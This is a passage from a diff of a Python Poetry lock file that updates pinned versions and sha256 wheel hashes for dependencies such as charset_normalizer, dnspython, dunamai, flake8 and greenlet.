"charset_normalizer-3.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6fd30dc99682dc2c603c2b315bded2799019cea829f8bf57dc6b61efde6611c8"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2006769bd1640bdf4d5641c69a3d63b71b81445473cac5ded39740a226fa88ab"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:dc15e99b2d8a656f8e666854404f1ba54765871104e50c8e9813af8a7db07f12"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:ab2e5bef076f5a235c3774b4f4028a680432cded7cad37bba0fd90d64b187d19"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:4ec9dd88a5b71abfc74e9df5ebe7921c35cbb3b641181a531ca65cdb5e8e4dea"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:43193c5cda5d612f247172016c4bb71251c784d7a4d9314677186a838ad34858"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:aa693779a8b50cd97570e5a0f343538a8dbd3e496fa5dcb87e29406ad0299654"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-win32.whl", hash = "sha256:7706f5850360ac01d80c89bcef1640683cc12ed87f42579dab6c5d3ed6888613"}, + {file = "charset_normalizer-3.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:c3e446d253bd88f6377260d07c895816ebf33ffffd56c1c792b13bff9c3e1ade"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:980b4f289d1d90ca5efcf07958d3eb38ed9c0b7676bf2831a54d4f66f9c27dfa"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f28f891ccd15c514a0981f3b9db9aa23d62fe1a99997512b0491d2ed323d229a"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a8aacce6e2e1edcb6ac625fb0f8c3a9570ccc7bfba1f63419b3769ccf6a00ed0"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bd7af3717683bea4c87acd8c0d3d5b44d56120b26fd3f8a692bdd2d5260c620a"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5ff2ed8194587faf56555927b3aa10e6fb69d931e33953943bc4f837dfee2242"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e91f541a85298cf35433bf66f3fab2a4a2cff05c127eeca4af174f6d497f0d4b"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309a7de0a0ff3040acaebb35ec45d18db4b28232f21998851cfa709eeff49d62"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:285e96d9d53422efc0d7a17c60e59f37fbf3dfa942073f666db4ac71e8d726d0"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:5d447056e2ca60382d460a604b6302d8db69476fd2015c81e7c35417cfabe4cd"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:20587d20f557fe189b7947d8e7ec5afa110ccf72a3128d61a2a387c3313f46be"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:130272c698667a982a5d0e626851ceff662565379baf0ff2cc58067b81d4f11d"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:ab22fbd9765e6954bc0bcff24c25ff71dcbfdb185fcdaca49e81bac68fe724d3"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:7782afc9b6b42200f7362858f9e73b1f8316afb276d316336c0ec3bd73312742"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-win32.whl", hash = "sha256:2de62e8801ddfff069cd5c504ce3bc9672b23266597d4e4f50eda28846c322f2"}, + {file = "charset_normalizer-3.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:95c3c157765b031331dd4db3c775e58deaee050a3042fcad72cbc4189d7c8dca"}, + {file = "charset_normalizer-3.4.0-py3-none-any.whl", hash = "sha256:fe9f97feb71aa9896b81973a7bbada8c49501dc73e58a10fcef6663af95e5079"}, + {file = "charset_normalizer-3.4.0.tar.gz", hash = "sha256:223217c3d4f82c3ac5e29032b3f1c2eb0fb591b72161f86d93f5719079dae93e"}, ] [[package]] @@ -632,21 +659,21 @@ test-randomorder = ["pytest-randomly"] [[package]] name = "dnspython" -version = "2.6.1" +version = "2.7.0" description = "DNS toolkit" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" files = [ - {file = "dnspython-2.6.1-py3-none-any.whl", hash = "sha256:5ef3b9680161f6fa89daf8ad451b5f1a33b18ae8a1c6778cdf4b43f08c0a6e50"}, - {file = "dnspython-2.6.1.tar.gz", hash = "sha256:e8f0f9c23a7b7cb99ded64e6c3a6f3e701d78f50c55e002b839dea7225cff7cc"}, + {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, + {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, ] [package.extras] -dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "sphinx (>=7.2.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] -dnssec = ["cryptography (>=41)"] +dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] +dnssec = ["cryptography (>=43)"] doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] -doq = ["aioquic (>=0.9.25)"] -idna = ["idna (>=3.6)"] +doq = ["aioquic (>=1.0.0)"] +idna = ["idna (>=3.7)"] trio = ["trio (>=0.23)"] wmi = ["wmi (>=1.5.1)"] @@ -679,13 +706,13 @@ files = [ [[package]] name = "dunamai" -version = "1.21.2" +version = "1.22.0" description = "Dynamic version generation" optional = false python-versions = ">=3.5" files = [ - {file = "dunamai-1.21.2-py3-none-any.whl", hash = "sha256:87db76405bf9366f9b4925ff5bb1db191a9a1bd9f9693f81c4d3abb8298be6f0"}, - {file = "dunamai-1.21.2.tar.gz", hash = "sha256:05827fb5f032f5596bfc944b23f613c147e676de118681f3bb1559533d8a65c4"}, + {file = "dunamai-1.22.0-py3-none-any.whl", hash = "sha256:eab3894b31e145bd028a74b13491c57db01986a7510482c9b5fff3b4e53d77b7"}, + {file = "dunamai-1.22.0.tar.gz", hash = "sha256:375a0b21309336f0d8b6bbaea3e038c36f462318c68795166e31f9873fdad676"}, ] [package.dependencies] @@ -707,19 +734,19 @@ test = ["pytest (>=6)"] [[package]] name = "flake8" -version = "5.0.4" +version = "7.1.1" description = "the modular source code checker: pep8 pyflakes and co" optional = false -python-versions = ">=3.6.1" +python-versions = ">=3.8.1" files = [ - {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"}, - {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"}, + {file = "flake8-7.1.1-py2.py3-none-any.whl", hash = "sha256:597477df7860daa5aa0fdd84bf5208a043ab96b8e96ab708770ae0364dd03213"}, + {file = "flake8-7.1.1.tar.gz", hash = "sha256:049d058491e228e03e67b390f311bbf88fce2dbaa8fa673e7aea87b7198b8d38"}, ] [package.dependencies] mccabe = ">=0.7.0,<0.8.0" -pycodestyle = ">=2.9.0,<2.10.0" -pyflakes = ">=2.5.0,<2.6.0" +pycodestyle = ">=2.12.0,<2.13.0" +pyflakes = ">=3.2.0,<3.3.0" [[package]] name = "flask" @@ -756,69 +783,84 @@ files = [ [[package]] name = "greenlet" -version = "3.0.3" +version = "3.1.1" description = "Lightweight in-process concurrent programming" optional = false python-versions = ">=3.7" files = [ - {file = "greenlet-3.0.3-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:9da2bd29ed9e4f15955dd1595ad7bc9320308a3b766ef7f837e23ad4b4aac31a"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d353cadd6083fdb056bb46ed07e4340b0869c305c8ca54ef9da3421acbdf6881"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dca1e2f3ca00b84a396bc1bce13dd21f680f035314d2379c4160c98153b2059b"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3ed7fb269f15dc662787f4119ec300ad0702fa1b19d2135a37c2c4de6fadfd4a"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd4f49ae60e10adbc94b45c0b5e6a179acc1736cf7a90160b404076ee283cf83"}, - {file = "greenlet-3.0.3-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:73a411ef564e0e097dbe7e866bb2dda0f027e072b04da387282b02c308807405"}, - {file = "greenlet-3.0.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:7f362975f2d179f9e26928c5b517524e89dd48530a0202570d55ad6ca5d8a56f"}, - {file = "greenlet-3.0.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:649dde7de1a5eceb258f9cb00bdf50e978c9db1b996964cd80703614c86495eb"}, - {file = "greenlet-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:68834da854554926fbedd38c76e60c4a2e3198c6fbed520b106a8986445caaf9"}, - {file = "greenlet-3.0.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:b1b5667cced97081bf57b8fa1d6bfca67814b0afd38208d52538316e9422fc61"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:52f59dd9c96ad2fc0d5724107444f76eb20aaccb675bf825df6435acb7703559"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:afaff6cf5200befd5cec055b07d1c0a5a06c040fe5ad148abcd11ba6ab9b114e"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe754d231288e1e64323cfad462fcee8f0288654c10bdf4f603a39ed923bef33"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2797aa5aedac23af156bbb5a6aa2cd3427ada2972c828244eb7d1b9255846379"}, - {file = "greenlet-3.0.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b7f009caad047246ed379e1c4dbcb8b020f0a390667ea74d2387be2998f58a22"}, - {file = "greenlet-3.0.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:c5e1536de2aad7bf62e27baf79225d0d64360d4168cf2e6becb91baf1ed074f3"}, - {file = "greenlet-3.0.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:894393ce10ceac937e56ec00bb71c4c2f8209ad516e96033e4b3b1de270e200d"}, - {file = "greenlet-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:1ea188d4f49089fc6fb283845ab18a2518d279c7cd9da1065d7a84e991748728"}, - {file = "greenlet-3.0.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:70fb482fdf2c707765ab5f0b6655e9cfcf3780d8d87355a063547b41177599be"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4d1ac74f5c0c0524e4a24335350edad7e5f03b9532da7ea4d3c54d527784f2e"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:149e94a2dd82d19838fe4b2259f1b6b9957d5ba1b25640d2380bea9c5df37676"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:15d79dd26056573940fcb8c7413d84118086f2ec1a8acdfa854631084393efcc"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:881b7db1ebff4ba09aaaeae6aa491daeb226c8150fc20e836ad00041bcb11230"}, - {file = "greenlet-3.0.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fcd2469d6a2cf298f198f0487e0a5b1a47a42ca0fa4dfd1b6862c999f018ebbf"}, - {file = "greenlet-3.0.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:1f672519db1796ca0d8753f9e78ec02355e862d0998193038c7073045899f305"}, - {file = "greenlet-3.0.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:2516a9957eed41dd8f1ec0c604f1cdc86758b587d964668b5b196a9db5bfcde6"}, - {file = "greenlet-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:bba5387a6975598857d86de9eac14210a49d554a77eb8261cc68b7d082f78ce2"}, - {file = "greenlet-3.0.3-cp37-cp37m-macosx_11_0_universal2.whl", hash = "sha256:5b51e85cb5ceda94e79d019ed36b35386e8c37d22f07d6a751cb659b180d5274"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:daf3cb43b7cf2ba96d614252ce1684c1bccee6b2183a01328c98d36fcd7d5cb0"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:99bf650dc5d69546e076f413a87481ee1d2d09aaaaaca058c9251b6d8c14783f"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dd6e660effd852586b6a8478a1d244b8dc90ab5b1321751d2ea15deb49ed414"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3391d1e16e2a5a1507d83e4a8b100f4ee626e8eca43cf2cadb543de69827c4c"}, - {file = "greenlet-3.0.3-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e1f145462f1fa6e4a4ae3c0f782e580ce44d57c8f2c7aae1b6fa88c0b2efdb41"}, - {file = "greenlet-3.0.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:1a7191e42732df52cb5f39d3527217e7ab73cae2cb3694d241e18f53d84ea9a7"}, - {file = "greenlet-3.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:0448abc479fab28b00cb472d278828b3ccca164531daab4e970a0458786055d6"}, - {file = "greenlet-3.0.3-cp37-cp37m-win32.whl", hash = "sha256:b542be2440edc2d48547b5923c408cbe0fc94afb9f18741faa6ae970dbcb9b6d"}, - {file = "greenlet-3.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:01bc7ea167cf943b4c802068e178bbf70ae2e8c080467070d01bfa02f337ee67"}, - {file = "greenlet-3.0.3-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:1996cb9306c8595335bb157d133daf5cf9f693ef413e7673cb07e3e5871379ca"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ddc0f794e6ad661e321caa8d2f0a55ce01213c74722587256fb6566049a8b04"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c9db1c18f0eaad2f804728c67d6c610778456e3e1cc4ab4bbd5eeb8e6053c6fc"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7170375bcc99f1a2fbd9c306f5be8764eaf3ac6b5cb968862cad4c7057756506"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b66c9c1e7ccabad3a7d037b2bcb740122a7b17a53734b7d72a344ce39882a1b"}, - {file = "greenlet-3.0.3-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:098d86f528c855ead3479afe84b49242e174ed262456c342d70fc7f972bc13c4"}, - {file = "greenlet-3.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:81bb9c6d52e8321f09c3d165b2a78c680506d9af285bfccbad9fb7ad5a5da3e5"}, - {file = "greenlet-3.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fd096eb7ffef17c456cfa587523c5f92321ae02427ff955bebe9e3c63bc9f0da"}, - {file = "greenlet-3.0.3-cp38-cp38-win32.whl", hash = "sha256:d46677c85c5ba00a9cb6f7a00b2bfa6f812192d2c9f7d9c4f6a55b60216712f3"}, - {file = "greenlet-3.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:419b386f84949bf0e7c73e6032e3457b82a787c1ab4a0e43732898a761cc9dbf"}, - {file = "greenlet-3.0.3-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:da70d4d51c8b306bb7a031d5cff6cc25ad253affe89b70352af5f1cb68e74b53"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:086152f8fbc5955df88382e8a75984e2bb1c892ad2e3c80a2508954e52295257"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d73a9fe764d77f87f8ec26a0c85144d6a951a6c438dfe50487df5595c6373eac"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b7dcbe92cc99f08c8dd11f930de4d99ef756c3591a5377d1d9cd7dd5e896da71"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1551a8195c0d4a68fac7a4325efac0d541b48def35feb49d803674ac32582f61"}, - {file = "greenlet-3.0.3-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:64d7675ad83578e3fc149b617a444fab8efdafc9385471f868eb5ff83e446b8b"}, - {file = "greenlet-3.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b37eef18ea55f2ffd8f00ff8fe7c8d3818abd3e25fb73fae2ca3b672e333a7a6"}, - {file = "greenlet-3.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:77457465d89b8263bca14759d7c1684df840b6811b2499838cc5b040a8b5b113"}, - {file = "greenlet-3.0.3-cp39-cp39-win32.whl", hash = "sha256:57e8974f23e47dac22b83436bdcf23080ade568ce77df33159e019d161ce1d1e"}, - {file = "greenlet-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c5ee858cfe08f34712f548c3c363e807e7186f03ad7a5039ebadb29e8c6be067"}, - {file = "greenlet-3.0.3.tar.gz", hash = "sha256:43374442353259554ce33599da8b692d5aa96f8976d567d4badf263371fbe491"}, + {file = "greenlet-3.1.1-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:0bbae94a29c9e5c7e4a2b7f0aae5c17e8e90acbfd3bf6270eeba60c39fce3563"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fde093fb93f35ca72a556cf72c92ea3ebfda3d79fc35bb19fbe685853869a83"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:36b89d13c49216cadb828db8dfa6ce86bbbc476a82d3a6c397f0efae0525bdd0"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94b6150a85e1b33b40b1464a3f9988dcc5251d6ed06842abff82e42632fac120"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:93147c513fac16385d1036b7e5b102c7fbbdb163d556b791f0f11eada7ba65dc"}, + {file = "greenlet-3.1.1-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:da7a9bff22ce038e19bf62c4dd1ec8391062878710ded0a845bcf47cc0200617"}, + {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b2795058c23988728eec1f36a4e5e4ebad22f8320c85f3587b539b9ac84128d7"}, + {file = "greenlet-3.1.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:ed10eac5830befbdd0c32f83e8aa6288361597550ba669b04c48f0f9a2c843c6"}, + {file = "greenlet-3.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:77c386de38a60d1dfb8e55b8c1101d68c79dfdd25c7095d51fec2dd800892b80"}, + {file = "greenlet-3.1.1-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:e4d333e558953648ca09d64f13e6d8f0523fa705f51cae3f03b5983489958c70"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:09fc016b73c94e98e29af67ab7b9a879c307c6731a2c9da0db5a7d9b7edd1159"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5e975ca70269d66d17dd995dafc06f1b06e8cb1ec1e9ed54c1d1e4a7c4cf26e"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3b2813dc3de8c1ee3f924e4d4227999285fd335d1bcc0d2be6dc3f1f6a318ec1"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e347b3bfcf985a05e8c0b7d462ba6f15b1ee1c909e2dcad795e49e91b152c383"}, + {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9e8f8c9cb53cdac7ba9793c276acd90168f416b9ce36799b9b885790f8ad6c0a"}, + {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:62ee94988d6b4722ce0028644418d93a52429e977d742ca2ccbe1c4f4a792511"}, + {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1776fd7f989fc6b8d8c8cb8da1f6b82c5814957264d1f6cf818d475ec2bf6395"}, + {file = "greenlet-3.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:48ca08c771c268a768087b408658e216133aecd835c0ded47ce955381105ba39"}, + {file = "greenlet-3.1.1-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:4afe7ea89de619adc868e087b4d2359282058479d7cfb94970adf4b55284574d"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f406b22b7c9a9b4f8aa9d2ab13d6ae0ac3e85c9a809bd590ad53fed2bf70dc79"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c3a701fe5a9695b238503ce5bbe8218e03c3bcccf7e204e455e7462d770268aa"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2846930c65b47d70b9d178e89c7e1a69c95c1f68ea5aa0a58646b7a96df12441"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99cfaa2110534e2cf3ba31a7abcac9d328d1d9f1b95beede58294a60348fba36"}, + {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1443279c19fca463fc33e65ef2a935a5b09bb90f978beab37729e1c3c6c25fe9"}, + {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b7cede291382a78f7bb5f04a529cb18e068dd29e0fb27376074b6d0317bf4dd0"}, + {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:23f20bb60ae298d7d8656c6ec6db134bca379ecefadb0b19ce6f19d1f232a942"}, + {file = "greenlet-3.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:7124e16b4c55d417577c2077be379514321916d5790fa287c9ed6f23bd2ffd01"}, + {file = "greenlet-3.1.1-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:05175c27cb459dcfc05d026c4232f9de8913ed006d42713cb8a5137bd49375f1"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:935e943ec47c4afab8965954bf49bfa639c05d4ccf9ef6e924188f762145c0ff"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:667a9706c970cb552ede35aee17339a18e8f2a87a51fba2ed39ceeeb1004798a"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8a678974d1f3aa55f6cc34dc480169d58f2e6d8958895d68845fa4ab566509e"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efc0f674aa41b92da8c49e0346318c6075d734994c3c4e4430b1c3f853e498e4"}, + {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0153404a4bb921f0ff1abeb5ce8a5131da56b953eda6e14b88dc6bbc04d2049e"}, + {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:275f72decf9932639c1c6dd1013a1bc266438eb32710016a1c742df5da6e60a1"}, + {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:c4aab7f6381f38a4b42f269057aee279ab0fc7bf2e929e3d4abfae97b682a12c"}, + {file = "greenlet-3.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:b42703b1cf69f2aa1df7d1030b9d77d3e584a70755674d60e710f0af570f3761"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1695e76146579f8c06c1509c7ce4dfe0706f49c6831a817ac04eebb2fd02011"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7876452af029456b3f3549b696bb36a06db7c90747740c5302f74a9e9fa14b13"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4ead44c85f8ab905852d3de8d86f6f8baf77109f9da589cb4fa142bd3b57b475"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8320f64b777d00dd7ccdade271eaf0cad6636343293a25074cc5566160e4de7b"}, + {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6510bf84a6b643dabba74d3049ead221257603a253d0a9873f55f6a59a65f822"}, + {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:04b013dc07c96f83134b1e99888e7a79979f1a247e2a9f59697fa14b5862ed01"}, + {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:411f015496fec93c1c8cd4e5238da364e1da7a124bcb293f085bf2860c32c6f6"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:47da355d8687fd65240c364c90a31569a133b7b60de111c255ef5b606f2ae291"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:98884ecf2ffb7d7fe6bd517e8eb99d31ff7855a840fa6d0d63cd07c037f6a981"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f1d4aeb8891338e60d1ab6127af1fe45def5259def8094b9c7e34690c8858803"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 